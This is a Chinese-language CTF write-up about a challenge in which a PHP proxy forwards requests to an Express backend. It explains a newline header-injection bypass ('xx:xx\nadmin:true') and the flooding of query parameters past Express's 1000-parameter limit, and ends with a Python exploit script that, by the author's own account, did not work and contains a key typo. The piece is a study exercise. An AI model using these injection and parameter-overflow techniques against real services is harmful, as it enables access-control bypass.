目录
这道题最终得不到flag,用了很多师傅的代码也不成功。但还是需要学习
下载的附件:
javascript
const express = require('express');
const app = express();
const port = 3000;
const flag = process.env.flag;
app.get('/flag', (req, res) => {
if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
res.send(flag);
}else{
res.send('try hard');
}
});
app.listen({ port: port , host: '0.0.0.0'});
重点在中间那部分:
(1)!req.query.admin.includes('false') 检查URL查询参数admin的值是否包含 false 如果不包含则条件成立
(2)req.headers.admin.includes('true') 检查headers头admin的值是否包含 true
要让这两个条件都成立
再看一下源代码
php
<?php
highlight_file(__FILE__);
$url = 'http://back-end:3000/flag?';
$input = file_get_contents('php://input');
$headers = (array)json_decode($input)->headers;
for($i = 0; $i < count($headers); $i++){
$offset = stripos($headers[$i], ':');
$key = substr($headers[$i], 0, $offset);
$value = substr($headers[$i], $offset + 1);
if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){
die('try hard');
}
}
$params = (array)json_decode($input)->params;
$url .= http_build_query($params);
$url .= '&admin=false';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
上面的代码主要是两点:
(1)for语句逐段检查Headers中是否包含:admin:true
(2)构建URL请求时会将&admin=flase加在后面
最终得到flag是通过下载的附件res.send(flag)来实现的。将这里的php代码看成中间层,js为后端,很明显二者要满足的条件完全冲突,现在就是要思考一下如何让满足后端的条件绕过中间层的检查了。
Express
express是一个流行的Node.js Web框架。其中paramterLimit选项用于指定query string 或者 request payload 的最大数量。在默认情况下,它的值为1000
而在app.js中引入了这个框架,并且没有定义paramterLimit的值

也就是说,假设我们传入的参数超过1000个时,后面的参数会被舍弃掉。然后我又注意到这行:
只要我们构造足够的垃圾字符就可以将这个给"挤"掉,第一个问题成功绕过了,接下来是如何保证传入的是:admin:true 看一下下面的条件
PHP和Node.js的解析差异

这涉及到PHP解析和Node.js解析的差异。有没有什么方法是在中间层PHP检查不出admin:true而在Node.js中可以解析出来的呢?以前学过JSON格式的%0a换行绕过,在这道题如果也采用换行绕过:\nadmin:true 但这样在PHP解析是还是会解析出来,因为键值对就这一对。但可以再加一对键值,但是是以这样的形式:xx:xx\nadmin:true
这样PHP去找第一个冒号: ,前面的键名为xx,键值为xx\nadmin:true 就能成功绕过PHP检查了。
Python代码
python
import json
import requests
url = "http://61.147.171.105:56710/"
data = {"headers": ["xx:xx\nadmin:true", "Content-Type: application/json"],
"params": {"admin": "true"}}
# 构造满足的data值,现已满足headers条件,还需要绕过params
for i in range(1000):
data["param"]["x"+str(i)]=i
headers={
"Content-Type": "application/json"
}
json1=json.dumps(data)
# 将字典转换为JSON格式的字符串
resp=requests.post(url,headers=headers,data=json1)
print(resp.content)